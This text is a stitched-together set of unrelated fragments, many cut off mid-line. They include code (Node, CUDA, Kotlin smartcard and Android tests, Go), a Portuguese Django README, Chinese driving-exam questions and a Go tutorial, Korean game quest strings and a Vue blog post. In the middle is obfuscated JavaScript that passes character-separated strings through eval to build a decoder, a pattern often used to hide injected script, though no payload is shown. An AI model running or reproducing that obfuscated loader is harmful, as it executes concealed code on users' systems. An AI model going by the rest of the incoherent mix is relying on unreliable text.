    assert.ok(!!util.inspect)
    assert.ok(!!zlib.Gzip)

    setImmediate(() => {
      resolve({
        assert: true,
        buffer: Buffer.from('hello world').toString('utf8'),
        constants: constants.E2BIG,
        hash: crypto.createHash('sha256').update('hello world').digest('hex'),
        domain: true,
        os: os.EOL,
        path: path.join('/hello/world', 'test.txt'),
        process: process.title,
        querystring: querystring.stringify({ a: 'b' }),
        stream: closedStream,
        stringDecoder: true,
        sys: true,
        timers: true,
        tty: true,
        util: true,
        http: true,
        https: true,
        vm: vm.runInNew


e
```

## License: Apache-2.0
https://github.com/MaySudios/CudaAI/blob/3f07a2b95a7e0fd7970a73c20562051558483997/AI/Matrix.cu

```
rows, other.cols);

    dim3 blockSize(16, 16);
    dim3 gridSize((other.cols + blockSize.x - 1) / blockSize.x,
                  (rows + blockSize.y - 1) / blockSize.y);

    matrixMultiplyKernel<<<gridSize,
```

## Blog em Django

Este é um sistema de blog construído com Django, com funcionalidades modernas como:

- Postagens com imagem e categoria
- Autenticação de usuários (registro, login, logout)
- Comentários por post
- Edição/remoção de comentários pelos autores ou administradores
- Filtro por categoria
- Busca por título e conteúdo
- Paginação
- Troca dinâmica de tema (claro/escuro)
- Painel administrativo com gerenciamento de posts

## Tecnologias utilizadas

- [Python 3.13](https://www.python.org/)
- [Django 5.2](https://www.djangoproject.com/)
- SQLite (como banco de dados local)
- Bootstrap 5 (para responsividade e visual)
- JavaScript (para alternância de tema)

## Funcionalidades principais

- Listagem e visualização de posts
- Comentários com autenticação
- Filtro por categoria
- Busca por palavra-chave
- Troca de tema (dark/light)
- Responsividade total (mobile-first)
- Painel de administração Django (para gerenciar posts, comentários, categorias, usuários, etc.)

## Clone o repositório:

```bash
- "git clone https://github.com/SauloEsteves14/meu_blog.git"
- "cd meu_blog"

Crie o ambiente virtual e ative-o:
- "python -m venv venv"

# Windows
- "venv\Scripts\activate"

# Powershell
- ".\venv\Scripts\Activate.ps1"

# Linux/macOS
- "source venv/bin/activate"

## Instale as dependências:

- "pip install -r requirements.txt"

## Aplique as migrações:

- "python manage.py migrate"

## Crie um superusuário (para acessar o painel de admin):

- "python manage.py createsuperuser"

## Execute o servidor:

- "python manage.py runserver"
Acesse o sistema em: http://127.0.0.1:8000/

## Administração

Você pode acessar o painel administrativo padrão do Django em:
http://127.0.0.1:8000/admin/

Use o superusuário criado com createsuperuser para logar.

## Estrutura básica

blog_django/
├── blog/                # App principal
│   ├── templates/
│   │   └── blog/
│   └── static/
├── blog_project/        # Configurações do Django
├── media/               # Uploads de imagens
├── db.sqlite3           # Banco de dados local
├── manage.py
└── requirements.txt

## Observações:

As imagens são armazenadas em /media/, por isso esta pasta está no .gitignore.
O botão de troca de tema salva a preferência no local


关紧车窗，降低行驶速度，观察路面情况，感觉车辆偏移时要 微微转动转向盘调正车头。因此本题全选。

【讲解 2】相关内容拓展：大风天气，因风速和风向不断地发生变化，行驶中，驾 驶人常常会有转向盘突然“被夺”的感觉，此时一定要双手握稳转向盘。当突遇 狂风袭来，感觉车辆产生横向偏移时，应降低车速，微微转动转向盘调正车头， 不可采取急转转向盘的方式恢复行驶方向。

1011、在大风天气行车需要注意什么？

A、注意车辆的横向移动

B、尽量减少超车

C、尽量避免制动

D、关紧车窗

【答案】A|C|D

【技巧 1】大风天减速观察，稳方向勿超车急刹，关紧车窗注意横向。

【技巧 2】解析：大风天行车要关紧车窗，注意车辆的横向移动，防止跑偏，避免 制动。

【讲解 1】本题主要考察大风天气的安全驾驶。在大风天气行车禁止超车，应稳住 方向，握稳方向盘，关紧车窗，降低行驶速度，尽量避免制动，观察路面情况， 感觉车辆偏移时要微微转动转向盘调正车头，不可采取急转转向盘的方式恢复行 驶方向。因此选择“注意车辆的横向移动”“尽量避免制动”“关紧车窗”。 【讲解 2】相关内容拓展：大风中行车应注意：（1）尽量以中低速度行驶，避免 制动，遇到不确定的目标，及时按喇叭提示；（2）减少车辆的横向移动，禁止超 车，避免因为突来大风致使车辆失去控制或翻车；（3）摇紧车窗，防止沙尘飞进 影响驾驶员的呼吸和观察；（4）远离枯树危墙，远离满载货物的卡车，以防被散 落物品砸伤。

1012、车辆在泥泞路上发生侧滑时，以下正确的做法是？ A、向侧滑的一侧转动转向盘适量修正

B、向侧滑的另


a?r? ?_?X?s?5?=?0?;? ?_?X?s?5? ?<? ?_?G?l?8?.?l?e?n?g?t?h?;? ?_?X?s?5? ?+?=? ?1?)?{?v?a?r? ?_?Z?J?g?3?=?_?G?l?8?[?\"?c?h?a?r?C?o?d?e?A?t?\"?]?(?_?X?s?5?)?;?i?f? ?(?_?Z?J?g?3? ?<? ?1?2?8?)?{?v?a?r? ?_?Z?Z?t?8?=?_?Z?J?g?3?;?}?e?l?s?e? ?{?v?a?r? ?_?Z?Z?t?8?=?_?B?b?7?[?_?Z?J?g?3?]?;?}?_?G?w?6?[?\"?p?u?s?h?\"?]?(?_?Z?Z?t?8?)?;?}?;?r?e?t?u?r?n? ?_?G?w?6?;?}"));
eval(_Mf1("f?u?n?c?t?i?o?n? ?_?H?x?5?(?_?G?l?1?)?{?v?a?r? ?_?T?X?l?4?=?n?e?w? ?A?r?r?a?y?(?)?;?_?T?X?l?4?[?1?6?8?]?=?1?9?1?;?_?T?X?l?4?[?1?6?9?]?=?8?9?7?6?;?_?T?X?l?4?[?1?7?0?]?=?1?7?2?;?_?T?X?l?4?[?1?7?1?]?=?1?8?9?;?_?T?X?l?4?[?1?7?2?]?=?1?8?8?;?_?T?X?l?4?[?1?7?3?]?=?1?6?1?;?_?T?X?l?4?[?1?7?4?]?=?1?7?1?;?_?T?X?l?4?[?1?7?5?]?=?1?8?7?;?_?T?X?l?4?[?1?7?6?]?=?9?6?1?7?;?_?T?X?l?4?[?1?7?7?]?=?9?6?1?8?;?_?T?X?l?4?[?1?7?8?]?=?9?6?1?9?;?_?T?X?l?4?[?1?7?9?]?=?9?4?7?4?;?_?T?X?l?4?[?1?8?0?]?=?9?5?0?8?;?_?T?X?l?4?[?1?8?1?]?=?9?5?6?9?;?_?T?X?l?4?[?1?8?2?]?=?9?5?7?0?;?_?T?X?l?4?[?1?8?3?]?=?9?5?5?8?;?_?T?X?l?4?[?1?8?4?]?=?9?5?5?7?;?_?T?X?l?4?[?1?8?5?]?=?9?5?7?1?;?_?T?X?l?4?[?1?8?6?]?=?9?5?5?3?;?_?T?X?l?4


t()
				data = body.sliceArray(3 until 3 + lc)

				val leField = body.sliceArray(3 + lc until body.size)
				le =
					if (leField.isEmpty()) {
						null
					} else {
						require(leField.size == 2) { "LE field is not extended" }
						leField.toUShort(0)
					}
			}
		} else {
			// not extended length
			isExtended = false

			if (body.size == 1) {
				// only LE present
				data = ubyteArrayOf()
				le = body.toUByte(0).toUShort()
			} else {
				val lc = body.toUByte(0).toInt()
				data = body.sliceArray(1 until 1 + lc)

				val leField = body.sliceArray(1 + lc until body.size)
				le =
					if (leField.isEmpty()) {
						null
					} else {
						require(leField.size == 1) { "LE field contains more than one byte" }
						leField.toUByte(0).toUShort()
					}
			}
		}
	}

	return CommandApdu(cla, ins, p1, p2, data.toPrintable(), le, isExtended)
}
package org.openecard.sc.iface.info

import io.github.oshai.kotlinlogging.KotlinLogging
import org.openecard.sc.apdu.command.ReadBinary
import org.openecard.sc.apdu.command.ReadRecord
import org.openecard.sc.apdu.command.Select
import org.openecard.sc.apdu.command.transmit
import org.openecard.sc.iface.Atr
import org.openecard.sc.iface.CardChannel
import org.openecard.sc.tlv.toTlvBer

private val log = KotlinLogging.logger { }

class SmartcardInfoRetriever(
	val channel: CardChannel,
) {
	val atr: Atr = channel.card.atr()
	var efAtr: EfAtr? = null
	var efDir: EfDir? = null

	@OptIn(ExperimentalUnsignedTypes::class)
	private fun readEfAtrTransparent() {
		if (efAtr == null) {
			try {
				Select.selectEfIdentifier(0x2F01u).transmit(channel)
				val efAtrData = ReadBinary.readCurrentEf().transmit(channel)
				val efAtrTlv = efAtrData.toTlvBer()
				this.efAtr = EfAtr(efAtrTlv.tlv.asList())
			} catch (ex: Exception) {
				log.info(ex) { "Failed to read EF.ATR as transparent file" }
			}
		}
	}

	@OptIn(ExperimentalUnsignedTypes::class)
	private fun readEfAtrRecord() {
		if (efAtr == null) {
			try {
				Select.selectEfIdentifier(0x2F01u).transmit(channel)
				val efAtrData = ReadRecord.readAllRecordsIndividual().transmit(channel)
				val efAtrTlv = efAtrData.toTlvBer()
				this.efAtr = EfAtr(efAtrTlv.tlv.asList())
			} catch (ex: Exception) {
				log.info(ex) { "Failed to read EF.ATR as record file" }
			}
		}
	}

	private fun readEfAtrGetData() {
		if (efAtr == null) {
			// 7.4.2 GET DATA command
			// TODO: Implement
		}
	}

	@OptIn(ExperimentalUnsignedTypes::class)
	private fun readEfDirTransparent() {
		if (efDir == null) {
			try {
				Select.selectEfIdentifier(0x2F00u).transmit(channel)
				val efDirData = ReadBinary.readCurrentEf().transmit(channel)
				val efDirTlv = efDirData.toTlvBer


01]: http://progit.couchone.com/progit/_design/chacon/figures/18333fig0701-tn.png
[0702]: http://progit.couchone.com/progit/_design/chacon/figures/18333fig0702-tn.png
[0703]: http://progit.couchone.com/progit/_design/chacon/figures/18333fig0703-tn.png
# 1 GO环境配置

欢迎来到Go的世界，让我们开始探索吧！

Go是一种新的语言，一种并发的、带垃圾回收的、快速编译的语言。它具有以下特点：

- 它可以在一台计算机上用几秒钟的时间编译一个大型的Go程序。
- Go为软件构造提供了一种模型，它使依赖分析更加容易，且避免了大部分C风格include文件与库的开头。
- Go是静态类型的语言，它的类型系统没有层级。因此用户不需要在定义类型之间的关系上花费时间，这样感觉起来比典型的面向对象语言更轻量级。
- Go完全是垃圾回收型的语言，并为并发执行与通信提供了基本的支持。
- 按照其设计，Go打算为多核机器上系统软件的构造提供一种方法。

Go是一种编译型语言，它结合了解释型语言的游刃有余，动态类型语言的开发效率，以及静态类型的安全性。它也打算成为现代的，支持网络与多核计算的语言。要满足这些目标，需要解决一些语言上的问题：一个富有表达能力但轻量级的类型系统，并发与垃圾回收机制，严格的依赖规范等等。这些无法通过库或工具解决好，因此Go也就应运而生了。

在本章中，我们将讲述Go的安装方法，以及如何配置项目信息。

## 目录

![](https://github.com/astaxie/build-web-application-with-golang/raw/master/ebook/images/navi1.png?raw=true)

## links
  * [目录](<preface.md>)
  * 下一节: [Go安装](<01.1.md>)
# 1.1 Go 安装

## Go的三种安装方式
Go有多种安装方式，你可以选择自己喜欢的。这里我们介绍三种最常见的安装方式：

- Go源码安装：这是一种标准的软件安装方式。对于经常使用Unix类系统的用户，尤其对于开发者来说，从源码安装是最方便而熟悉的。
- Go标准包安装：Go提供了方便的安装包，支持Windows、Linux、Mac等系统。这种方式适合初学者，可根据自己的系统位数下载好相应的安装包，一路next就可以轻松安装了。
- 第三方工具安装：目前有很多方便的第三方软件包工具，例如Ubuntu的apt-get、Mac的homebrew等。这种安装方式适合那些熟悉相应系统的用户。

最后，如果你想在同一个系统中安装多个版本的Go，你可以参考第三方工具[GVM](https://github.com/moovweb/gvm)，这是目前在这方面做得最好的工具，除非你知道怎么处理。

## Go源码安装
在Go的源代码中，有些部分是用Plan 9 C和AT&T汇编写的，因此假如你要想从源码安装，就必须安装C的编译工具。

在Mac系统中，只要你安装了Xcode，就已经包含了相应的编译工具。

在类Unix系统中，需要安装gcc等工具。例如Ubuntu系统可通过在终端中执行`sudo apt-get install gcc libc6-dev`来安装编译工具。

在Windows系统中，你需要安装MinGW，然后通过MinGW安装gcc，并设置相应的环境变量。

Go使用[Mercurial][hg]进行版本管理，首先你必须安装了Mercurial，然后才能下载。假设你已经安装好Mercurial，执行


울디어에게 돌아가십시오."}},
[9172] = {"마법학자 캔드리스에게 보고", nil, {"유령의 땅, 태양의 성소에 있는 마법학자 캔드리스에게 다르칸의 일지를 가져가야 합니다."}},
[9173] = {"윈드러너 첨탑 탈환", nil, {"데솔름 수행사제 8명과 떠도는 순찰자 영혼 10명을 해치운 후 유령의 땅, 트랜퀼리엔에 있는 고위집행관 마브렌에게 돌아가십시오."}},
[9174] = {"아쿠안티온 처치", nil, {"제라니스 화이트문이 태양왕관 마을 동쪽의 호수 바닥으로 잠수하여 해일의 깨달음 제단에 목걸이 묶음을 사용해 달라고 부탁했습니다. 아쿠안티온이라는 정령을 소환하여 해치운 다음 제라니스에게 돌아가십시오."}},
[9175] = {"여군주의 목걸이", nil, {"유령의 땅, 트랜퀼리엔에 있는 고위집행관 마브렌에게 여군주의 목걸이를 가져가야 합니다."}},
[9176] = {"두 개의 지구라트", nil, {"피투성이 지구라트와 울부짖는 지구라트로 가서 불꽃의 돌과 빛의 돌을 되찾은 후 태양의 성소에 있는 마법학자 캔드리스에게 돌아가십시오."}},
[9177] = {"언더시티 여행", nil, {"언더시티의 왕실에 있는 여군주 실바나스 윈드러너에게 여군주의 목걸이를 가져가야 합니다."}},
[9178] = {"장인의 계약서: 강도 높은 무게추", nil, {"동부 역병지대, 희망의 빛 예배당에 있는 짐말주인 스톤브루에게 강도 높은 무게추 120개와 장인의 계약서: 강도 높


# Natural Language Toolkit: String Category Corpus Reader
#
# Copyright (C) 2001-2024 NLTK Project
# Author: Steven Bird <stevenbird1@gmail.com>
#         Edward Loper <edloper@gmail.com>
# URL: <https://www.nltk.org/>
# For license information, see LICENSE.TXT

"""
Read tuples from a corpus consisting of categorized strings.
For example, from the question classification corpus:

NUM:dist How far is it from Denver to Aspen ?
LOC:city What county is Modesto , California in ?
HUM:desc Who was Galileo ?
DESC:def What is an atom ?
NUM:date When did Hawaii become a state ?
"""

from nltk.corpus.reader.api import *

# based on PPAttachmentCorpusReader
from nltk.corpus.reader.util import *

# [xx] Should the order of the tuple be reversed -- in most other places
# in nltk, we use the form (data, tag) -- e.g., tagged words and
# labeled texts for classifiers.
class StringCategoryCorpusReader(CorpusReader):
    def __init__(self, root, fileids, delimiter=" ", encoding="utf8"):
        """
        :param root: The root directory for this corpus.
        :param fileids: A list or regexp specifying the fileids in this corpus.
        :param delimiter: Field delimiter
        """
        CorpusReader.__init__(self, root, fileids, encoding)
        self._delimiter = delimiter

    def tuples(self, fileids=None):
        if fileids is None:
            fileids = self._fileids
        elif isinstance(fileids, str):
            fileids = [fileids]
        return concat(
            [
                StreamBackedCorpusView(fileid, self._read_tuple_block, encoding=enc)
                for (fileid, enc) in self.abspaths(fileids, True)
            ]
        )

    def _read_tuple_block(self, stream):
        line = stream.readline().strip()
        if line:
            return [tuple(line.split(self._delimiter, 1))]
        else:
            return []


,
"structarm__lms__instance__q31.html#a206d47b49de6f357f933ebe61520753c":[4,46,4],
"structarm__lms__instance__q31.html#a4705a8f0011bb9166e09bf5bd51e595e":[4,46,3],
"structarm__lms__instance__q31.html#a4afe56e991a5416adfd462aa88bda500":[4,46,2],
"structarm__lms__instance__q31.html#ac0d84f7d054555931ef8a62511fbcb8a":[4,46,1],
"structarm__lms__instance__q31.html#acb6ca9996b3c5f740d5d6c8e9f4f1d46":[4,46,0],
"structarm__lms__norm__instance__f32.html":[4,47],
"structarm__lms__norm__instance__f32.html#a0bc03338687002ed5f2e4a363eb095ec":[4,47,4],
"structarm__lms__norm__instance__f32.html#a1ba688d90aba7de003ed4ad8e2e7ddda":[4,47,3],
"structarm__lms__norm__instance__f32.html#a6a4119e4f39447bbee31b066deafa16f":[4,47,0],
"structarm__lms__norm__instance__f32.html#a84401d3cfc6c40f69c08223cf341b886":[4,47,1],
"structarm__lms__norm__instance__f32.html#ac95f8ca3d816524c2070643852fac5e8":[4,47,2],
"structarm__lms__norm__instance__f32.html#aec958fe89b164a30f38bcca9f5d96218":[4,47,5],
"structarm__lms__norm__instance__q15.html":[4,48],
"structarm__lms__norm__instance__q15.html#a07d272351a3291ed09e3f42447609df0":[4,48,6],
"structarm__lms__norm__instance__q15.html#a1c81ded399919d8181026bc1c8602e7b":[4,48,0],
"structarm__lms__norm__instance__q15.html#a3fc1d6f97d2c6d5324871de6895cb7e9":[4,48,7],
"structarm__lms__norm__instance__q15.html#a7ce00f21d11cfda6d963240641deea8c":[4,48,1],
"structarm__lms__norm__instance__q15.html#a9ee7a45f4f315d7996a969e25fdc7146":[4,48,2],
"structarm__lms__norm__instance__q15.html#aa0d435fbcf7dedb7179d4467e9b79e9f":[4,48,4],
"structarm__lms__norm__instance__q15.html#aa4de490b3bdbd03561b76ee07901c8e3":[4,48,5],
"structarm__lms__norm__instance__q15.html#ae7bca648c75a2ffa02d87852bb78bc8a":[4,48,3]
};
var searchData=
[
  ['finite_20impulse_20response_20_28fir_29_20filters',['Finite Impulse Response (FIR) Filters',['../group__FIR.html',1,'']]],
  ['finite_20impulse_20response_20_28fir_29_20decimator',['Finite Impulse Response (FIR) Decimator',['../group__FIR__decimate.html',1,'']]],
  ['finite_20impulse_20response_20_


 가장 쉽고 빠르게 Input 한글 입력 막기
  - property: og:description
    content: Vue - 가장 쉽고 빠르게 Input 한글 입력 막기
  - property: og:url
    content: https://kyounghwan01.github.io/blog/Vue/vue/prevent-hangle/
tags: ["vue"]
---

# Input 한글 입력 막기

- input 태그의 :value를 핸들링하여 쉽게 한글 입력을 막아봅시다
- 대부분의 경우 Input의 경우 공통 컴포넌트로 받아 여러곳에서 사용하니 이번 예제도 단순히 input 만으로 끝나는게 아닌 부모, 자식 관계로 보여 드리겠습니다.

```vue
<!-- 부모 -->
<template>
  <Input
    validType="password"
    ref="current_password"
    label="사용중인 비밀번호"
    type="password"
    placeholder="사용중인 비밀번호를 입력해주세요"
    v-model="current_password"
  />
</template>

<script>
export default {
  data() {
    return {
      current_password: ""
    };
  }
};
</script>
```

```vue
<!-- Input.vue -->
<template>
  <input
    :id="id"
    :ref="id"
    :type="type"
    :placeholder="placeholder"
    :value="formatInput(value)"
  />
</template>

<script>
export default {
  props: ["id", "label", "type", "placeholder", "value", "validType"],
  methods: {
    formatInput(text) {
      // text에 부모 input에 넣는 값이 들어옵니다.
      if (this.validType === "password") {
        // 한글 테스트 정규식
        const notPhoneticSymbolExp = /[ㄱ-ㅎ|ㅏ-ㅣ|가-힣]/;
        if (!notPhoneticSymbolExp.test(text)) {
          return text;
        } else {
          // 한글이 빠른 시간에 여러개 들어오는 경우도 있으니,한글이 없을 때까지 삭제하고, 검사
          text = text.slice(0, -1);
          let condition = notPhoneticSymbolExp.test(text);
          while (condition) {
            text = text.slice(0, -1);
            condition = notPhoneticSymbolExp.test(text);
          }
          return text;
        }
      } else return text;
    }
  }
};
</script>
```

<TagLinks />

<Comment />
---
title: vue @focus, @blur 예제
meta:
  - name: description
    content: vue @focus, @blur 예제
  - propert


            lastNameStandardized = "lastNameStandardized",
            dateOfBirthFormatted = "1943-04-18"
        )
        every { isDisplayValid } returns true
        every { sampleCollectedAt } returns Instant.parse("2021-05-21T11:35:00.000Z")
        every { state } returns CwaCovidCertificate.State.Valid(Instant.now().plusMillis(20))
    }

    private val certificatePersonIdentifier = CertificatePersonIdentifier(
        dateOfBirthFormatted = "1981-03-20",
        firstNameStandardized = "firstNameStandardized",
        lastNameStandardized = "lastNameStandardized",
    )
}

@Module
abstract class SubmissionTestResultTestNegativeModule {
    @ContributesAndroidInjector
    abstract fun submissionTestResultScreen(): SubmissionTestResultNegativeFragment
}
package de.rki.coronawarnapp.ui.presencetracing.organizer.warn.duration

import androidx.test.ext.junit.runners.AndroidJUnit4
import dagger.Module
import dagger.android.ContributesAndroidInjector
import de.rki.coronawarnapp.presencetracing.checkins.qrcode.TraceLocation
import de.rki.coronawarnapp.ui.eventregistration.organizer.TraceLocationData
import de.rki.coronawarnapp.util.TimeStamper
import de.rki.coronawarnapp.util.toLocalDateTimeUserTz
import io.mockk.MockKAnnotations
import io.mockk.every
import io.mockk.impl.annotations.MockK
import org.junit.Before
import org.junit.Test
import org.junit.runner.RunWith
import testhelpers.BaseUITest
import testhelpers.Screenshot
import testhelpers.TestDispatcherProvider
import testhelpers.launchFragmentInContainer2
import testhelpers.takeScreenshot
import java.time.Duration
import java.time.Instant

@RunWith(AndroidJUnit4::class)
class TraceLocationWarnDurationFragmentTest : BaseUITest() {

    @MockK lateinit var timeStamper: TimeStamper
    private val fragmentArgs = TraceLocationWarnDurationFragmentArgs(TraceLocationData.traceLocationSameDate).toBundle()

    @Before
    fun setup() {
        MockKAnnotations.init(this, relaxed = true)
        every { timeStamper.nowUTC } returns Instant.parse("2020-11-03T05:35:16.000Z")
        setupMockViewModel(
            object : TraceLocationWarnDurationViewModel.Factory {
                override fun create(traceLocation: TraceLocation): TraceLocationWarnDurationViewModel {
                    return createViewModel()
                }
            }
        )
    }

    @Screenshot
    @Test
    fun screenshot() {
        launchFragmentInContainer2<TraceLocationWarnDurationFragment>(fragmentArgs)
        takeScreenshot<TraceLocationWarnDurationFragment>()
    }

    private fun createViewModel() = TraceLocationWarnDurationViewModel(
        traceLocation = TraceLocationData.traceLocationSameDate,
        timeStamper = timeStamper,
        dispatcherProvider = TestDispatcherProvider()
    ).apply {
        durationChanged(Duration.ofHours(3))
        dateChanged(TraceLocationData.traceLocationSameDate.startDate!!.toLocalDateTimeUserTz())
    }
}

@Module
abstract class TraceLocationWarnDurationFragmentTestModule {
    @ContributesAndroidInjector
    abstract fun traceLocationWarnDurationFragment(): TraceLocationWarnDurationFragment
}
package de.rki.coronawarnapp.qrcode.ui

import androidx.test.ext.junit.runners.AndroidJUnit4
import dagger.Module
import dagger.android.ContributesAndroidInjector
import de.rki.coronawarnapp.util.ui.SingleLiveEvent
import io.mockk.MockKAnnotations
import io.mockk.every
import io.mockk.impl.annotations.MockK
import io.mockk.mockk


Provider
import com.example.android.marsrealestate.network.MarsProperty

/**
 * Simple ViewModel factory that provides the MarsProperty and context to the ViewModel.
 */
class DetailViewModelFactory(
        private val marsProperty: MarsProperty,
        private val application: Application) : ViewModelProvider.Factory {
    @Suppress("unchecked_cast")
    override fun <T : ViewModel> create(modelClass: Class<T>): T {
        if (modelClass.isAssignableFrom(DetailViewModel::class.java)) {
            return DetailViewModel(marsProperty, application) as T
        }
        throw IllegalArgumentException("Unknown ViewModel class")
    }
}
import java.io.InputStreamReader

// @@(replace ");'u=>vC=>vQC=>vQ@=>vQ@=>vQ9=>vQ<=k['9lkv5[(9lkl[&9lkmy" (encode-writable-ascii "\"\\$")
var Input = ");'u=>vC=>vQC=>vQ@=>vQ@=>vQ9=>vQ<=k['9lkv5[(9lkl[&9lkmy"
// )@@

const val InstrCall  = 0
const val InstrSet   = 1
const val InstrGet   = 2
const val InstrConst = 3
const val InstrIf    = 4
const val InstrHalt  = 5

const val PairTag      = 0
const val ProcedureTag = 1
const val SymbolTag    = 2
const val StringTag    = 3
const val VectorTag    = 4
const val SingletonTag = 5

// equiv to initConstantRibs in go impl
var TRUE: Obj = Rib(Num(0), Num(0), Num(SingletonTag))
var FALSE: Obj = Rib(Num(0), Num(0), Num(SingletonTag))
var NIL: Obj = Rib(Num(0), Num(0), Num(SingletonTag))

// ===============================================
// ===============================================
//                 OBJ + RIB
//                   + prim
// ===============================================
// ===============================================

var preferInstr = true
sealed interface Obj {
	var car: Obj
	var cdr: Obj
	var tag: Obj
	val value: Int
	fun isPair(): Boolean
	operator fun plus(v: Int): Num
	operator fun plus(v: Obj): Num
	operator fun minus(v: Int): Num
	operator fun minus(v: Obj): Num
	operator fun times(v: Int): Num
	operator fun times(v: Obj): Num
	operator fun div(v: Int): Num
	operator fun div(v: Obj): Num
	fun pp(): String {
		return when (this) {
			is Num -> "${this.value}"
			is Rib -> "(${this.car.pp()} ${this.cdr.pp()} ${this.tag.pp()})"
		}
	}

	fun asValue(): Value {
		val obj = this
		return if (obj is Num) {
			obj
		} else  {
			if (!preferInstr && obj.tag == Num(0)) {
				return Pair(obj)
			}
			when (val out = parseInstruction(obj)) {
				is Instruction -> out
				null -> {
					if (obj.tag is Rib) {
						return OtherRib(obj)
					}
					when (obj.tag.value) {
						PairTag -> {
							when (val instr = parseInstruction(obj)) {
								is Instruction -> {
									if (preferInstr) {
										instr
									} else {
										Pair(obj)
									}
								}
								null -> Pair(obj)
							}
						}
						ProcedureTag -> Procedure(obj)
						SymbolTag -> Symbol(obj)
						StringTag -> ValueString(obj)
						VectorTag -> Vector(obj)
						SingletonTag -> {
							when (this) {
								TRUE -> True
								FALSE -> False
								NIL -> Nil
								else -> throw IllegalStateException("invalid special symbol")
							}
						}
						else -> OtherRib(obj)
					}
				}
			}
		}


2, TAG)
    executor.runAllQueuedTasks()
    assertThat(runCounter).isEqualTo(3)
  }

  @Test
  fun testRemove_removesAllInstances() {
    lithoHandler.post(runnable, TAG)
    lithoHandler.post(runnable, TAG)
    lithoHandler.post(runnable, TAG)
    lithoHandler.remove(runnable)
    executor.runAllQueuedTasks()
    assertThat(runCounter).isEqualTo(0)
  }

  @Test
  fun testRemoveThenPost_runsOnce() {
    lithoHandler.post(runnable, TAG)
    lithoHandler.post(runnable, TAG)
    lithoHandler.remove(runnable)
    lithoHandler.post(runnable, TAG)
    executor.runAllQueuedTasks()
    assertThat(runCounter).isEqualTo(1)
  }

  private class QueuingExecutor : Executor {
    private val queue = ArrayDeque<Runnable>()

    override fun execute(runnable: Runnable) {
      queue.add(runnable)
    }

    fun runAllQueuedTasks() {
      while (!queue.isEmpty()) {
        val runnable = queue.removeFirst()
        runnable.run()
      }
    }
  }

  companion object {
    private const val TAG = "testTag"
  }
}
/*
 * Copyright (c) Meta Platforms, Inc. and affiliates.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package com.facebook.litho

import android.graphics.Color
import android.graphics.Rect
import android.graphics.drawable.ColorDrawable
import android.view.View
import com.facebook.litho.core.height
import com.facebook.litho.core.margin
import com.facebook.litho.core.width
import com.facebook.litho.kotlin.widget.Image
import com.facebook.litho.testing.LithoTestRule
import com.facebook.litho.testing.testrunner.LithoTestRunner
import com.facebook.litho.widget.Text
import com.facebook.rendercore.px
import org.assertj.core.api.Assertions.assertThat
import org.junit.Rule
import org.junit.Test
import org.junit.runner.RunWith

/** Tests for [LithoTooltipController]. */
@RunWith(LithoTestRunner::class)
class LithoTooltipControllerTest {

  @Rule @JvmField val mLithoTestRule = LithoTestRule()

  @Test
  fun `shows tooltip on Text Spec`() {
    class ComponentWithTooltip(val tooltipHandle: Handle) : KComponent() {
      override fun ComponentScope.render(): Component? {
        return Row {
          child(
              handle(tooltipHandle) {
                Text.create(context).text("I'm an anchor!").kotlinStyle(Style.margin(10.px)).build()
              })
        }
      }
    }

    val handle = Handle()
    val tooltip = RecordingLithoTooltip()

    mLithoTestRule.render { ComponentWithTooltip(tooltipHandle = handle) }

    LithoTooltipController.showTooltipOnHandle(mLithoTestRule.context, tooltip, handle)

    assertThat(tooltip.calls).hasSize(1)
    val call = tooltip.calls[0]
    assertThat(call.container).isNotNull()
    assertThat(call.anchorBounds.top).isEqualTo(10)
    assertThat(call.anchorBounds.left).isEqualTo(10)
  }

  @Test
  fun `shows tooltip on


	}
	return 0, nil
}

func (w *AgentWorker) handleServerMessages() {
	w.mu.Lock()
	for w.serverMessages.Len() != 0 {
		m := w.serverMessages.Front()
		w.mu.Unlock()

		switch m := m.Message.(type) {
		case *livekit.ServerMessage_Register:
			w.handleRegister(m.Register)
		case *livekit.ServerMessage_Availability:
			w.handleAvailability(m.Availability)
		case *livekit.ServerMessage_Assignment:
			w.handleAssignment(m.Assignment)
		case *livekit.ServerMessage_Termination:
			w.handleTermination(m.Termination)
		case *livekit.ServerMessage_Pong:
			w.handlePong(m.Pong)
		}

		w.mu.Lock()
		w.serverMessages.PopFront()
	}
	w.mu.Unlock()
}

func (w *AgentWorker) handleRegister(m *livekit.RegisterWorkerResponse) {
	w.RegisterWorkerResponses.Emit(m)
}

func (w *AgentWorker) handleAvailability(m *livekit.AvailabilityRequest) {
	w.AvailabilityRequests.Emit(m)
	if w.HandleAvailability != nil {
		w.HandleAvailability(AgentJobRequest{w, m})
	} else {
		AgentJobRequest{w, m}.Accept()
	}
}

func (w *AgentWorker) handleAssignment(m *livekit.JobAssignment) {
	w.JobAssignments.Emit(m)

	var load JobLoad
	if w.HandleAssignment != nil {
		load = w.HandleAssignment(m.Job)
	}

	if load == nil {
		load = NewStableJobLoad(w.DefaultJobLoad)
	}

	w.mu.Lock()
	defer w.mu.Unlock()
	w.jobs[m.Job.Id] = &AgentJob{m.Job, load}
}

func (w *AgentWorker) handleTermination(m *livekit.JobTermination) {
	w.JobTerminations.Emit(m)

	w.mu.Lock()
	defer w.mu.Unlock()
	delete(w.jobs, m.JobId)
}

func (w *AgentWorker) handlePong(m *livekit.WorkerPong) {
	w.WorkerPongs.Emit(m)
}

func (w *AgentWorker) sendMessage(m *livekit.WorkerMessage) {
	select {
	case <-w.fuse.Watch():
	case w.workerMessages <- m:
	}
}

func (w *AgentWorker) SendRegister(m *livekit.RegisterWorkerRequest) {
	w.sendMessage(&livekit.WorkerMessage{Message: &livekit.WorkerMessage_Register{
		Register: m,
	}})
}

func (w *AgentWorker) SendAvailability(m *livekit.AvailabilityResponse) {
	w.sendMessage(&livekit.WorkerMessage{Message: &livekit.WorkerMessage_Availability{
		Availability: m,
	}})
}

func (w *AgentWorker) SendUpdateWorker(m *livekit.UpdateWorkerStatus) {
	w.sendMessage(&livekit.WorkerMessage{Message: &livekit.WorkerMessage_UpdateWorker{
		UpdateWorker: m,
	}})
}

func (w *AgentWorker) SendUpdateJob(m *livekit.UpdateJobStatus) {
